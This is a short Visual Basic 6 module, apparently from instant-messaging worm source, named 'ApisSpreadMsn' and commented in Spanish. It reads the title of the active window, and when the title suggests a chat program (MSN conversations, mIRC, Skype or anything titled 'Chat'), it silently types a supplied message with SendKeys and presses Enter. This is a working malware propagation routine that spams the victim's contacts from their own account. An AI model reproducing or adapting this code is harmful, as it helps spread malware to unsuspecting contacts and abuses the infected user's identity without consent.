Attribute VB_Name = "ApisSpreadMsn"
Public Declare Function GetForegroundWindow Lib "USER32" () As Long
Public Declare Function GetWindowTextLength Lib "USER32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Declare Function GetWindowText Lib "USER32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long
  
  
' Constantes para usar con SendMessage
Private Const WM_GETTEXTLENGTH = &HE ' Mensaje que Retorna el tamaņo del texto
Private Const WM_GETTEXT = &HD ' Mensaje que Retorna el texto de la ventana


Private Function textoventana() As String
    Dim Size_Text As Long
    Dim texto As String
    Dim El_HWND As Long
    El_HWND = GetForegroundWindow()
    Size_Text = SendMessage(El_HWND, WM_GETTEXTLENGTH, 0, 0)
    texto = Space$(Size_Text + 1)
    Size_Text = SendMessage(El_HWND, WM_GETTEXT, Size_Text + 1, ByVal texto)
    textoventana = Replace(texto, Chr(0), vbNullString)
End Function

Public Function MSpread(texto As String)
    Dim tt As String
    tt = textoventana()
    If InStr(UCase$(tt), UCase$("@")) <> 0 Then
        SendKeys texto & "{ENTER}" & "{ESC}"
    End If
    If InStr(UCase$(tt), UCase$("Conver")) <> 0 Then
        SendKeys texto & "{ENTER}" & "{ESC}"
    End If
    If InStr(UCase$(tt), UCase$("mIRC")) <> 0 Then
        SendKeys texto & "{ENTER}" & "{ESC}"
    End If
    If InStr(UCase$(tt), UCase$("Skype")) <> 0 Then
        SendKeys texto & "{ENTER}" & "{ESC}"
    End If
    If InStr(UCase$(tt), UCase$("Chat")) <> 0 Then
        SendKeys texto & "{ENTER}" & "{ESC}"
    End If

End Function
 
